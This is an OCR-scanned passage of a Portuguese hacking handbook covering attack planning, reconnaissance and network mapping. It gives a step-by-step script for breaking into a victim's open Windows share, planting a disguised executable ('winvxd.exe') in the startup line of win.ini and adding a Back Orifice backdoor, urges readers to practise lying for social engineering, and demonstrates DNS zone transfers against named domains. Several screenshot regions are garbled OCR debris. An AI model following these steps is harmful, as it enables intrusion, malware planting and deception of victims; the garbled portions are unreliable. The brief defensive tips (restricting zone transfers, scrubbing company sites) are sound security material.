de disco ligados e sem senhas. Nada mais simples do que abrir um Internet
Explorer e digitar \\IP.DA.VITIMA.AQUI.Pronto! Voc j est na mquna dele,
pode abrir e editar arquivos.
Com essas alteraes, nosso diagrama j est funcional. Vamos elaborar, agora,
uma lista seqencial de etapas para nosso ataque? Afmal,no podemos fazer tudo
ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est
uma lista de passos. interessante de se deixe um espao abaixo de cada item,
para que se possa escrever os resultados, observaes ou problemas encontrados.
Os comentrios entre parnteses no fazem parte do roteiro. So apenas
orientaes para que a elaborao do roteiro cumpra o objetivo pretendido.
-

1220

Ataque, defesa e contra-ataque: Introduo I

Universidade 3 Ano

PASSOSPARAHACKEAR
FULANODETAL
1. Engenharia Social: conversa informal para saber detalhes de sistema
operacional.
2. Busca: Determinao do IP com ICQ e netstat. Se o passo 1 for for feito por
ICQ tambm, matamos dois coelhos. (Queimar etapas desejvel DESDEQUE
no interfira na sua segurana.)
3. Escanear a vtima com Nmap e depois Nessus para verificar as
vulnerabilidades. (A lista pararia aqui at que descobrssemos por onde atacar.
um exemplo de 1-2-1-3-1.)
4. Descoberta a brecha de compartilhamento. Preparar arquivo com bomba para
ser implantado na vtima. Flash com bomba de espera. Usar r.otinas tal e tal. (Use
sempre ferramentas e linguagens que voc conhece BEM!Deslizes so fatais...)
5. Teste seu arquivo localmente. Renomeie-o para winvxd.exe.
(Sempre instale um sistema operacional idntico ao da vtima. Instale programas parecidos aos dela e tente deixar sua mquina muito prxima ao que voc
conseguiu descobrir das configuraes do computador invadido. Quando alguma etapa ordenar a cpia de arquivos para a vtima, renomeie-os com nomes
parecidos com os do sistema).
6. [OPCIONAL]Teste os passos de nmero 7 em diante em um ambiente
controlado. Depois de certificar-se da validade deste roteiro, ataque a vtima.
(Opcional quase obrigatrio. Faa um ataque similar a um computador semelhante que esteja disponvel e em que voc possa verificar a validade do ataque.
Um amigo hacker poderia ajud-Io nessa hora. Colaborao importantssimo
nesse meio.)
7. Conectar

ao computador.

Use o Internet

Explorer

com a URL

\ \XXX. YYY.ZZZ. UUU.

(Acostume-se a colocar informaes especficas em seus roteiros, como programas a usar, opes e configuraes desses programas, endereos e portas a
atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem
de ser rpido para ser efetivo e indetectado. Ficar procurando as opes escondidas de um programa durante a invaso pedir para ser apanhado!)
8. Copie o arquivo winvxd.exe para C:\windows.
(Cuidado com arquivos muito grandes. Lentido na Internet seguida de atividade no disco rgido so eventos suspeitssimos!)
12211

I Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R I

9. Abra o arquivo C:\windows\win.ini


c:\ windows\ winvxd.exe.

e, na, linha

"run=",

digite

10. Espere e ria muito!

claro que nosso ataque foi sem importncia, a vtima fcil e o programabomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona!
Nosso roteiro tambm bem simples, embora um ataque por meio dele j
seja possvel. Mas por que no algum nvel de refmamento? Algumas idias:

~ Preparar um Back Orifice (de preferncia o B02K) e instal-Io junto com o


Flash no win.ini. Mesmo que tudo seja descoberto (o win.ini restaurado e o
Flash apagado), nosso backdoor vai estar no registro do Windows e, portanto,
sempre ativo quando a vtima ligar o computador.
~ Por falar em registro, us-Io em vez do win.ini. Tal procedimento precisar
de passos a mais, a criao de um arquivo com extenso .reg para atualizao
do registro da vtima e provavelmente um conhecimento mais profundo sobre
o funcionamento do mesmo (consultar captulo sobre Plataformas Windows).
~ Lugares bvios so os ltimos a serem procurados. Certa vez, algum
havia feito uma brincadeira comigo. Meu MS-DOS 5 congelava no final do
carregamento do Config.sys. Isso j era uma dica, mas eu ignorei. Decidido a
procurar o problema em vez de reinstalar o sistema todo (j havia muitos
programas, alguns dos quais precisavam ser instalados pelo pessoal do CPD),
dei boot por disquete e abri o Config sys, comentando todas as linhas, uma a
uma, para verificar se travavam. Nada feito. Vasculhei infrutiferamente todo
o sistema procura de problemas. Depois de duas horas, decidi abrir o
AUTOEXEC.BATs por desencargo de conscincia. Quase ca pra trs. No
incio do arquivo, duas linhas:
@ECHO OFF
C:\AUTOEXEC.BAT

No preciso

dizer mais nada...

2221
Ataque, defesa e contra-ataque:

Introduo

Universidade 3 Ano

Uma palavra final sobre planejamento


Se voc chegou at aqui e exclamou: "Puxa, mas ele no ensinou nada difcil!
Que porcaria de livro!", sinto muito, mas este livro realmente no pra voc. O
objetivo do captulo foi mostrar, sob o pretexto de uma invaso simples, como
organizar-se para tal.
Nos prximos captulos veremos os passos seguintes de nossos ataques: observao, busca, invaso, manuteno e evaso. Algumas tcnicas adicionais e locais
onde encontrar mais informaes a respeito sero includos. Mas com o que
temos at agora (e com um pouco de disposio para pesquisa), j possvel
atacar, defender e mesmo contra-atacar quaisquer pessoas ou instituies.
Os autores voltam a informar: a responsabilidade do uso destas informaes
sua, no nossa. Handle with care.

12231

I Ataque, defesa e contra-ataque:

Introduo

Ataque, defesa e
contra-ataque:

Observaco
.
Captulo

11
'You have to be tru5ted

by the peop!e you !ied to


50 when they tum their back5 on you
you have the chance to put the knife in "1

Roger Waters, "Oogs"

1 "Deves ter a confiana / das pessoas para quem mentiste / pois


quando te virarem as costas / ters a chance de enfiar a faca."
Do lbum AnimaIs (Pink FIoyd), de 1977.

I Universidade

H4CK3R I

A diferena entre os script kiddies e os black hats mais espertos comea nesta
fase (na verdade, comea na anterior, mas muitos black hats reconhecidamente
bons tambm negligenciam a fase de preparao...). Assim como quadrilhas observam bancos por meses e seqestradores acampam em frente casa de suas
vtimas, atacantes digitais dignos desse nome tm de observar suas presas
longamente antes de mergulhar sobre elas como falces sobre frangos-de-leite.
Este captulo tratar rapidamente de algumas reas nas quais o candidato a
invasor poder procurar para angariar informaes sobre as empresas, pessoas e, principalmente, seus sistemas computacionais e de conectividade.
Resumindo: quer brincar na rua? Antes faa o dever de casa!

Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a
mentira, a impostura e a desonestidade so to antigas quanto os primeiros
macacos falantes que vagavam por a, no h meios descrever todos os procedimentos possveis.
No vamos, aqui, chover no molhado e repetir o que dissemos no captulo 6.
Use a maldade que 100% das pessoas tm escondida por a em algum canto e
desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no
funcionar para voc.
Dicas? A vo algumas:
~ Faa aulas de teatro. Dica bvia.
~ Impostao de voz, segurana e fIrmeza so importantes.

Faa aulas de canto.

~ Procure livros sobre programao

quebrar um galho.

~ Acostume-se
hbitos.. .

neurolingstica.Vai

a olhar SEMPRE o lixo, mesmo em casa! Seja um black hat de

~ Minta para seu chefe, para sua me, para o padre em confIsso. Treine a
mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo
podem descobrir as coisas que simples perguntas feitas com a entonao correta conseguem em cinco minutos.

No basta saber o que est fazendo. necessrio saber por que est fazendo. Se
voc tem uma resposta na ponta da lngua quando perguntado" ei, por que voc
quer invadir minha empresa?", pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.

12261
Ataque, defesa e contra-ataque:

Observao

Universidade 3 Ano

A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet.
Certa vez, estava ajudando minha namorada francfona a procurar algumas
letras de "chansons" para inserir em uma compilao que ela estava fazendo.
Uma das msicas, "a ira" (que possui diversas verses com diferentes letras),
estava sendo duro de encontrar. Segue o dilogo:
- No consigo achar esta aqui.
-Qual ?
- "a ira", vrias gravaes, entre elas a de Edith Piaf.
-J tentou no All The Web?
-J, tambm no Google e no Alta Vista.
-Como vc tentou?
-Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf.
-Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da
msica, o nome do artista mais a palavra lyrics. Como letra em francs?
-Parole.
- Tenta a: a ira piaf parole
Ela tentou e, para sua completa estupefao, encontrou vrios sites com as
letras, inclusive alguns contendo referncias cruzadas, as vrias verses
agrupadas e aspectos histricos e sociais ligados a elas.
A Internet, no geral, e a World Wide Web em especial, so prdigas em informaes sobre sua pessoa, seja ela fsica, ou seja jurdica. Muitas delas foram
colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc
os tiver, tambm so grandes fontes de informao. Vejamos.

o Google seu amigo


impressionante como os robs desses mecanismos trabalham direito! Quem
no sabe como o Alta Vista tem catalogado todos aqueles links merece uma
explicao rpida.
H dois tipos de mecanismos de busca: os catlogos (a traduo certa para
directory, apesar de muitos traduzirem como diretrio...) e os baseados em robs. Catlogos so simples listas de sites que os prprios interessados inscrevem. Por exemplo, o Yahoo! hospeda sites em seu brao corporativo Geocities.
Esses sites automaticamente entram no catlogo do Geocities, que adicionalmente aceita inscries em seu catlogo de sites externos. Quando inscrito, um programa-rob varre todo o site da pessoa e cadastra as palavras-chave do texto.
Um site baseado em robs usa um programa parecido com o dos catlogos. A
diferena que ningum precisa cadastrar nada: os robs farejam um link e
saem seguindo esses links Internet adentro. Como as pginas normalmente
chamam outras pginas, um trabalho sem fim.
12271

I Ataque, defesa e contra-ataque:

Observao

I Universidade

H4CK3R I

Isso posto, fcil imaginar que


os robs um dia chegaro ao SEU
website. Talvez voc ou sua emA
A- -- _~I,,"Id.m...
-i
presa no tenha um website, mas
GOCtO
te'"
jl<enrique Cesar Ulbrich
I
-GoogIo]
seguramente usa e-mails e assi"""0
.
GJ_-",w",Q
,,~,
na listas de discusso. Ou acessa -,::r::l.~.l~
'I
,~--,,
,~-~""'_.,.,_."''''''''''\>oU'''',20000,{'mo,,'"",. ~~"
a Usenet. Ou ainda se inscreve em Geoa."'",com.
.,H_C_U_1J3I25aOOO "".,... ,"H"".Em ~d'" P.""_~I"
outros sites pblicos, como o -g"""""""'_,,"'_3i,maOOOf3iOl.
G"""""","_.
deblan~<>Ortua""",' materia"""" """'. 00-.
_lh~d,~__,"""""''''oL.
"""M ""."",,,. "'OM,
H_eHotmail, e deixa seu perfil vis''',9'OC',_oomm._''''''31200'"I1)I_84,I.
,,,. _.
""",s,m"'vel ao mundo. S a ttulo de exem{um ,_.""
do~w oo","mW"""
Iisl5.""""".oroJcjoormailismt>dlenJsmJ03-Fe"""""
{)d.[ ,..,,'"' ,,," ""riM{
From--"_"."",,"'Moo''''314,''',112003
From,-"d___'"
plo: eu (Henrique) no possuo {"_C_U-I
Dato
Moc'''' 3 "",,,.2003_um website prprio. Mas sou bas- "'.'m=""--'h!ili!!!
,"o
m""'"
,].8",,'1,m ,.,"'''''
"
Ctante ruidoso na Internet; assino
U""","--"_"",,,."'Moo'"
314,""11
OMT2003,...
_~m",,,,,,,""'~'__I.200>-f,,,~,,'OOO3".hlm'.".~.",
,,,
[Mo'
,u""oo
'"
"".~m".=
j
dezenas de listas e tenho alguns
,,_''''''00 "_C_U_--,,",
artigos publicados em revistas e w_.R~,,_""
"'wby
D.,.,
Enomtro
do0jornais. Uma pesquisa pelo meu
nome resulta em:
'

I;

C_U""",",03I24>2000

u"""'"

1127,01-

DATE,"'~'1200'

00,11',

SUBJEC7 RE m."'.'-

"""""'

RdoL. .,.

ISOLUTION{ S10w crnooection wi1h smbdJentlWiI,dows

10 "'..me

, . [T..",,",

UM "'...w ]

R" H"''',<3oo"",

'"

,"'_.""",'dabi~'_'-JI<,"~"OO'ldoorn,,."w.._200101Irn.,oooo2.htm'.

--.,-~
,

--,,~"

:"~::iI~,-~*~--

- ---~.._,'-~--,-'-""",'.n,.,'"

'" le",~=",~=:I
Gaog
"-'_",-0_-_""-, ,
,,~.."

-_o -

C_""""M"'''''''''''

~.

Experimente procurar pelo seu nome, e


pelo nome de sua empresa para ver o que
voc disse e o que dizem de voc. Procure
tambm pelos nomes de seus empregados, fornecedores, clientes.Voc ver que possvel
angariar diversas informaes dessa forma.
Todos os mecanismos de busca possuem
refmamentos na procura. possvel procurar por formato de arquivo, data, ocorrncia, partes de URLsou mesmo pginas que
apontam para uma URLem especial.
Por exemplo, usamos o Google para
procurar sites que apontam para a
Conectiva (www.conectiva.com.br).

,.

._,----

"" Em ~'h<"

,,-..---

","" ,""""',"""..
--'O~'-,_'_'_"
'~"-~~-.'_""Hm._'-

C","""do"'Cd"'M,,,,i.~'

0_"'''''''0_00''_'__'''''--'
--~-'~_W_~~-"~"--"

._-~",.",""""","."",,"~-~,..
"''''"",,''''''_'M~._''.~''''-"'
~~~cc1~::':":~~.~,,"'WM'''''''''~

2281
Ataque, defesa e contra-ataque: Observao

O resultado seria este:


Observe o comando na rea de busca
do Google. O "1ink:"funciona muito bem
no Alta VtSta (www:altavista.com) e no
AllThe Web (www:a1ltheweb.com),que
tambm possuem diversas opes de
busca avanada.

Universidade 3 Ano

At tu, Brutus?
Mas o perigo pode estar em casa! Voc j olhou seu site pessoal ou o de sua
empresa? Em uma garimpagem bem-feita (ajudado, pasme, pelo mecanismo de
busca que o pessoal da Web colocou para auxiliar o internauta!!!), o atacante
pode possivelmente angariar algumas dessas valiosas informaes:
~ Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se o
pessoal da rea no colocou uma lista completa com as tecnologias em uso.
possvel que, at por questes contratuais, sua empresa seja obrigada a colocar
um selo Powered By no site. Mesmo no sendo, a maioria dos sites possui.
Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas
que ajudam a implementar
e ficam tentados a colocar informaes

comp1etssimasnos sites. Hackers adoram isso!

~ Relacionamentos: muitas empresas divulgam (intencionalmente ou no)


informaes sobre seus parceiros, fornecedores, clientes e consultores. Muitos
at colocam dados sobre a concorrncia! Algum pode estar usando as informaes do SEU site para atacar a empresa para a qual voc trabalha. Mesmo
funcionrios costumam colocar informaes restritas em seus sites pessoais.
~ Informaes corporativas: cultura, linguagem, funcionrios importantes,
premiaes, operrio-padro, f11iais,nomes, nmeros, ramais e e-mails de funcionrios... Esse o tipo de informao possvel de obter apenas pesquisando o
site da empresa. Alm de facilitar ataques remotos, possvel personificar o
"funcionrio-padro" da empresa para penetrar em suas instalaes tsicas. Uma
vez dentro, o de sempre: engenharia social, sniffers, backdoors, roubo de documentos e mdias...
~ Notcias: cuidado com os comunicados de imprensa e notas publicadas
como notcia em seu site. Informaes importantes podem vazar nas entrelinhas. Quem, como os hackers, est habituado a enfurnar-se em depsitos de
lixo e caambas de detritos para angariar fragmentos de informao (sujos de
Ketchup e papel higinico usado) no ter nenhuma dificuldade em pegar dados prontinhos organizados na rea de notcias do seu site e cruz-Ios entre si.

Quem esse cara?


Quem tem um domnio, teve de registr-Io em algum lugar. No Brasil, quem
cuida dos registros de domnios a FAPESP(registro.br). Quando se faz o registro, as informaes so guardadas num banco de dados chamado whois (em
portugus, "quem "). Cada domnio-raiz tem seu prprio banco de dados de
whois. Por exemplo, os domnios .com, .mil e .edu (todos norte-americanos)
tm seus prprios bancos de dados whois.
Verificar o banco de dados whois muito fcil. V ao Registro.br e digite o
domnio no campo correspondente.

12291
Ataque, defesa e contra-ataque:

Observao

I Universidade

H4CK3R

Clique no boto PESQUlSAR.A


janela Whois vai mostrar os dados de registro formatados nesse padro. Em nosso exemplo (o
whois de digeratLcom.br), temos:

Bem-vindoao Regisuo.br
Reg;..rod. do";."'. p'" ".tem.'.o B,as'
~~;'~l;';;I,~I~...J~..Jc!!~l
1

v."""",."".,.,a","""
,-,.,.,,,-.
.R".........v...
""""'''I>w~'''''''"""'-"';'''';0 "~=,.-.,,.
, ro..''',,,
,,"'."" R"''''. 00- ,. ""...
-""
"~1I2OO3.
C"" ""'''''
.p,~=,."",~''',"-,""",,''.
.T,"""00R" '"
""a,","~"~~""'_d.. ",""<'<ONS.
'-" 00l12000l
C"""'."',, w""'_~"M
"""'"'N~M""".",,,."..,.~_"'R,,_.,,,
W""'"'M""""M
""""',. R.,.".""D.mi"""
R.m"".oo
""..,.
30""'_", CNP./ICP'.
Cio"""''''' ~. ,"_~"M

N_.

I "",",,,,,I

PES<IU'5AR

,,,,,,,ight","'re."
, ""' "'~" proot'dod
f~ inf~oo''"1'''''
, "".. .,.,.. j>ff~'in.M""", inf_oo.-, ~
, "''''''''''''in.._""""""""""..,,,,oo.
,,,
,,,,,,,
,,.,.,...,,,,,,,,..,,,,,
,,

~br

, onlyf~ ,,,,,., "",,,,""


,

2003-<)4-<181<),,,,21

_n'.

(BRr

..",00)

DI""'TI.""."

M"",,, DigmC_i,,,,,,,. T"ool",i. "da


doc_'.001.1<)7'''/OOO1-36

"."."""", ""_",",,",,i
.n""""" ... """". wbo."'. 12AndM
.n""""" 014".{)Q1'''' P",J.-"
,.1"'_,
(D11)3217-2600
[)
""',,...,.,"""
"...i.
"""
""mi",
U\Nl3
"",,"',.
"""
_ioo,D''', 1151.""""'.""."

S na base de dados Whois temos a razo social da empresa, o nome completo


dos responsveis por ela, endereos, telefones, e-mails...J uma excelente fonte de
dados grtis. Mas atente para este detalhe:
servidor DNS:NS1.LQCAWEB.Co.!.BR

Noooossaaaa!!! J sabemos quais so os dois servidores de DNS que esse domnio usa. Apenas com
os dados que garimpamos na Web, j somos capazes de fazer diversas malvadezas com o domnio.

status DNS: 06/04/2003 AA


ltimo AA:
06/04/2003
servidor DNS: NS2.LQCAWEB.Co.!.BR
status DNS: 06/04/2003 AA
ltimo AA: 06/04/2003
criado:
16/01/1998 #82624
alterado:
llj03/2003
status:
publicado

Signyour name acrossmy heart


Todas essas informaes que vimos at aqui neste captulo foram obtidas exclusivamente usando seu navegador Web. Nenhuma ferramenta especial foi necessria, e
voc no incorreu em nenhum crime, pois pesquisou em reas e bancos de dados
pblicos. Mesmo assim, arrecadou informaes perigosssimas que podem colocar
em risco, se bem (mal?) usadas, toda uma corporao. Mas nem s aWeb nos d o servio.
Agora que sabemos os endereos de todos os DNSs do domnio que queremos atacar, vamos dar uma olhada neles. No vamos discutir os fundamentos
tcnicos sobre DNS. Se o leitor no souber como funciona um sistema de
Domain Name Server, sugerimos o excelente livro DNS e BIND, de Paul Albitz e
Cricket Liu (Editora O'Reilly).
Assim como nos servidores de whois, o DNS possui informaes que, obrigatoriamente, devem estar abertas e disponveis ao grande pblico. Comunicao por e-mail, sites Web e servidores de FTP so trs exemplos de servios
que, mesmo vivendo sem o DNS, dependem dele para dar aos usurios uma
forma mais fcil de guardar endereos na Internet.

1230

Ataque, defesa e contra-ataque:

Observao r

Universidade 3 Ano

H ferramentas de linha de comando, tanto no Windows como no Unix, que


podem recuperar informaes valiosas sobre DNS para os hackers. Adicionalmente, o Nessus um exemplo de scanner de vulnerabilidade que, entre outras
coisas, recupera informaes de servidores DNS.
O grande problema da tecnologia de DNS so as transferncias de zona ou
zone transfers. Quando um provedor ou empresa pe no ar um sistema DNS,
normalmente coloca mais de um servidor (posicionado em localidades diferentes) para atender aos programas que dependem dele. Um deles ser o DNS
primrio, os outros sero secundrios ou escravos. O zone transfer um procedimento criado para transferir dados entre todos os DNSs daquele domnio ou
zona (zona um conjunto de vrios domnios, ou antes, de vrios subdomnios
num mesmo domnio).
O que ocorre que apenas hosts autorizados deveriam poder fazer transferncias de domnios. Se meu DNS primrio 204.200.100.99 e meu secundrio
204.200.200.250, apenas o 250 poderia solicitar zone transfers do 99 e viceversa. Observamos, entretanto, que quase a totalidade de DNSs ao redor da Terra
permite zone transfers solicitados a partir de qualquer n da Grande Rede.
Um exemplo prtico. Em uma estao com linux, usaremos o comando digoEsse
comando pode ser encontrado tambm em alguns Unix. Abra um terminal e digite:
$ dig @NS1.locaweb.com.br digerati.com.br AXFR
A sintaxe simples. O primeiro argumento o nome do servidor DNS(poderia ser
tambm o nmero IP). O segundo argumento o domnio que se quer pesquisar e o
terceiro (AXFR)indica que queremos fazer um zone transfer. A sada do comando :
;

DiG

9.2.1

;;
global
options:
digerati.com.br.
admin.1ocaweb.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
ftp.digerati.com.br.
smtp.digerati.com.br.
pop.digerati.com.br.
mail.digerati.com.br.
www.digerati.com.br.
wap.digerati.com.br.
sqlserver.digerati.com.br.
webmail.digerati.com.br.
smtp-gw.digerati.com.br.
digerati.com.br.
admin.1ocaweb.com.br.

@NS1.1ocaweb.com.br

digerati.com.br

AXFR

printcmd

IN
3600
NS
NS
NS
A
MX
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
600 86400

3600
8
O
O
O
O
O

IN
IN
IN
IN
IN
O
O
O
O
O
O
O
O
O

3600
8

3600

SOA
hm23.
600
86400 3600
NS1.1ocaweb.com.br.
NS2.1ocaweb.com.br.
NS3.1ocaweb.com.br.
200.246.179.102
10 smtp-gw.digerati.com.br.
A
200.246.179.102
A
200.182.98.136
A
200.182.98.136
A
200.182.98.136
A
200.246.179.102
A
200.246.179.102
A
200.246.179.82
CNAME pop.digerati.com.br.
A
200.182.98.155
SOA
hm23.
3600

;; Query

time:
881 msec
;; SERVER:
200.246.179.123#53
(NS1.1ocaweb.com.br)
;; WHEN:
Tue Apr
812:28:502003
;; XFR size:
17 records

12311

] Ataque,

defesa e contra-ataque:

Observao

I Universidade

H4CK3R I

Creeedooo! Um simples comandinho nos disse que o servidor de SMTP da


empresa est em 200.182.98.155, e que os servidores Web e FTP dividem a
mesma mquina em 200.246.178.102 . No estamos considerando, por enquanto,
interfaces de rede com mltiplos IPs, mas, de qualquer forma, a realidade pode
ser um pouquinho diferente da que foi mostrada na lista. Mesmo assim, um
excelente ponto de partida para fazer mais pesquisa, comear miniataques
(lembra deles? 1234 1234...) e elaborar seu plano de ao.
Outros exemplos de ferramentas para fazer zone transfers so o j citado
Nessus (com verses para Unix e Windows), o host, disponvel na maioria dos
Unix, e o veterano nslookup, presente tanto em Unix como no Windows. Note
que o nslookup para Linux no faz zone transfers!

Defesa e contra-ataque
Infelizmente, no h muito como se defender de informaes obtidas por
meio de bancos de dados whois. As informaes desse servio devem estar
disponveis universalmente, portanto no h o que fazer. Casos recentes de
defacements (como o do site da Digerati Editorial) foram possveis usando as
informaes obtidas por whois e, depois, com um pouco de engenharia social,
obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O
problema no foram as informaes de whois, mas as senhas fracas e a
vulnerabilidade social.
J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras
em seu servidor para restringir zone transfers apenas entre servidores DNS do
seu domnio, bem como dos root-DNS-servers.
Como no h nada de ilegal nas atividades do black hat at aqui, pois as
informaes obtidas so todas pblicas, no h como lanar um contra-ataque.
Mesmo porque, devido ao trfego gigantesco, rastrear acessos a servidores de
whois e DNS tarefa impossvel.
Mas, SIM! possvel tomar medidas preventivas (alm de restringir o zone
transfer - isso muito importante!) para evitar que informaes desnecessrias vazem para a Internet. Entre elas:
~ Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode dar,
indevidamente, informaes confidenciais ou restritas que possibilitem um ataque.

~ Crie polticas sobre o que pode ser publicado no site e veiculado por
e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha
em risco a empresa divulgando o que no deveria. E nada de colocar bandeirinhas com "Powered by Windows NT4" ou "Running Linux 2.2".

12321
Ataque, defesae contra-ataque: Observao[

Universidade 3 Ano

Faa campanhas preventivas, alertando os usurios de e-mails para o perigo


de enviar dados internos da companhia para fora. Pegue aquela pesquisa que
voc fez na Web com os nomes ou e-mails de seus funcionrios e monte uma
apresentao para ilustrar suas campanhas.

12331

] Ataque. defesa

e contra-ataque:

Observao

Ataque, defesa e
contra-ataque:

usca
Captulo

12

PedI; e dar-se-vos-; busca;' e achareis; bate;'


e abrir-se-vos-. Porque, todo o que pede,
recebe;

e, o que busca, acha.

"

(Mateus,VII: 7-111

I Universidade

H4CK3R

Assim como os militares, que usam os servios de inteligncia para elaborar


relatrios sobre o alvo e s depois vo a campo para observ-Io, ns tambm
tivemos de angariar todas aquelas informaes, elaborar planos de ao e fazer um roteiro de ataque. Nesta nova fase, faremos o que os militares chamam
de reconhecimento: conferir os dados obtidos, preencher eventuais lacunas,
corrigir distores e obter dados de reas antes inacessveis. Lembre-se: depois
de voltar das buscas, realimentaremos nosso roteiro com as informaes obtidas. Nunca fuja do 1-2-1-3-1-4-1-5-1-6-1!

Cartografia aplicada Internet


Chegou a hora de descobrir como a rede de nossa vtima. O hacker usar
ferramentas de scanning, como as que vimos em Vulnerabilidades I e 11,para
testar a rede e descobrir, primeiro, como ela montada (topologias, sistemas
de firewalI e IDS, servidores e estaes - incluindo a seus sistemas operacionais)
e fazer um mapa o mais detalhado possvel do que, para ele, ainda so "mares
nunca dantes navegados".
Vamos comear com um diagrama simples:

Rede Privada

~~
192.168.3.0

192.168.4.0

200.xxx.10.20
SMTPtPOP

2361
Ataque, defesa e contra-ataque: Busca [

200.xxx.20.30
Servios Diversos

200.xxx.20.10
SQLServer

Universidade 3 Ano

Em nosso diagrama, o hacker ainda no conhece os computadores de nossa


rede, representados em cor esmaecida. No decorrer deste captulo, medida
que ele for identificando as diferentes mquinas em nossa rede, as estaes vo
ficando ntidas. Posteriormente, computadores "ownados" (ou seja, j invadidos
pelo hacker) sero representados pelo cone "doente".
Observe que h um f1ltro de pacotes e um proxy, guisa de firewall. Essa
configurao cria a chamada Zona Desmilitarizada ou DMZ. Nela, os servidores com acesso pblico permitido (Web, FTP,SMTP...) ficam "protegidos" pelo
f11trode pacotes, que bloqueia (ou deveria bloquear) qualquer comunicao
vinda de fora e que no seja destinada a servios especficos dos servidores.
Mesmo conexes a servidores deveriam ser bloqueadas: uma conexo na porta
80 (HTTP) s permitida se o seu destino for realmente o servidor Web e no
o de SMTP.Conexes de fora em direo rede interna, nem pensar...
O proxy, que fica na borda entre a rede interna e o DMZ, traz uma camada
adicional de segurana e evita que as estaes internas conectem-se Internet.
Do contrrio, elas conectam-se ao proxy e ele (apenas ele) "fala"com a Internet.
Com esse artifcio, para quem v de fora, a rede interna composta, apenas e
to-somente, pelo proxy. O prprio proxy pode ser invadido e essas restries
contornadas, mas isso conversa para mais adiante.

Varre, varre, vassourinha...'


Todos lembram do Nmap e do Nessus? Eles so timos. Praticamente tudo o
que precisamos para descobrir coisas nas redes dos outros pode ser conseguido com essas duas ferramentas. Mas, para fms didticos, vamos usar duas das
ferramentas mais bsicas e presentes em todos os sistemas operacionais que
possuam algum suporte a TCP1IP.Essas ferramentas so o ping e o traceroute
(tracert no Windows).
O ping um programa minsculo que faz uma nica coisa na vida: manda um
pacote ICMPEcho Request (veja em Redes 11)para verificar se um determinado IP
existe ou se a mquina que
possui aquele IP est on-line.
Assim, podemos testar toda a
faixa de IPs designada para
aquela empresa ou organizao,parasaberquaisdessesIPs
Todos os Ips
representam mquinas ligadas
diretamente na Internet.
200.xxx.l0.n
Uma vez com a lista de IPs
"vivos"na mo, o hacker fazum
desenho parecido com este:

aO
~o

(j)

200.xxx.20.10
1 jingle da campanha presidencial de jnio Quadros, em 1956.

12371

] Ataque, defesa

e contra-ataque:

Busca

I Universidade H4CK3R I

Cada um dos crculos representa um dos IPs.Voltando ao nosso diagrama de


redes, a viso que o atacante tem de nossas mquinas esta:

~"
~ iP ~"
::::;

.~

200.xxx.l0.2

Proxy+ Gateway
::::;

::::;

lI'

[] Hackerno v
Hacker v

.~.~

200.xxx.l0.20
SMTP+PDP

::::;

.~..

200.xxx.20.30
Servios Diversos

200.xxx.20.10
SQl Server

Agora, o traceroute/tracert utilizado em cada um dos IPs descritos. A sintaxe bem simples: traceroute -n IP.QUE.QUEREMOS.VERIFICAR.A
sada de um
traceroute se parece com esta:
192.168.1.162 0.524 ma 0.235 ma 0.204 ma
200.204.171.155 1.084 ma 1.040 ma 1.028 ma
200.204.174.122 11.322 ma 18.636 ma 272.474 ma
200.207.199.121 602.530 ma 513.476 ma 524.081 ma
200.205.255.219 559.810 ma 531.438 ma 610.651 ma
200.205.255.212 817.968 ma 596.748 ma 576.567 ma
200.205.254.134 527.308 ma 523.359 ma 548.114 ma
. .. (continua)

1
2
3
4
5
6
7

o parmetro -n apenas para evitar que o traceroute procure por nomes DNS
dos IPs mostrados. O hacker deve, diligentemente, anotar (ou gravar e imprimir)
todas as sadas do traceroute para todos os IPs que ele descobriu com o pingo Se
tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas
esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host
200.xxx.1.1O nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer
dizer que as mquinas esto ligadas! Em nosso diagrama:
~38 I
Ataque, defesa e contra-ataque:

Busca r

Universidade 3 Ano

8
Todos os IPs
200.xxx.l0.n

200.xxx.20.10

Cruzando os dados de todos os traceroutes, o hacker ter a seguinte viso:

200.xxx.l0.20

SMTP+POP

200.xxx.20.30
Servios Diversos

200.xxx.20.10

SGLServer

12391

] Ataque, defesa

e contra-ataque:

Busca

I Universidade

H4CK3R I

Argh! Mas isso d trabalho!


Quer moleza? V sentar no pudim! Alis, existem algumas ferramentas que
fornecem o pudim pra voc. Uma delas o LAN Surveyor, da empresa LAN
Software (www.neon.comlTutorials/LStourMAP.html). Mas, em qualquer situao, a melhor ferramenta (disponvel apenas para Unix) o Cheops
(www.marko.net/cheops). Alm de ter uma interface bonita e funcional, o
Cheops faz o servio sujo pra voc. Este screenshot (retirado do site oficial)
melhor que qualquer exemplo que pudssemos preparar:

phY,is

20~.230.721!p
201.23{,72.$

Como voc pode perceber, o Cheops automatiza os procedimentos com ping e


traceroute (que tm de estar presentes no sistema) e ainda usa tcnicas de fmger
printing (que veremos adiante) para adivinhar o sistema operacional de cada n.

Procurando portas abertas


Em ambos os captulos de Vulnerabilidades, vimos algumas ferramentas para
verificar se h servios "escutando" em portas TCP ou UDP.Naquele momento,
vimos o portscanning como um processo isolado. Agora que sabemos onde se
insere no desenvolvimento de nossas buscas, podemos dar mais ateno a ele.
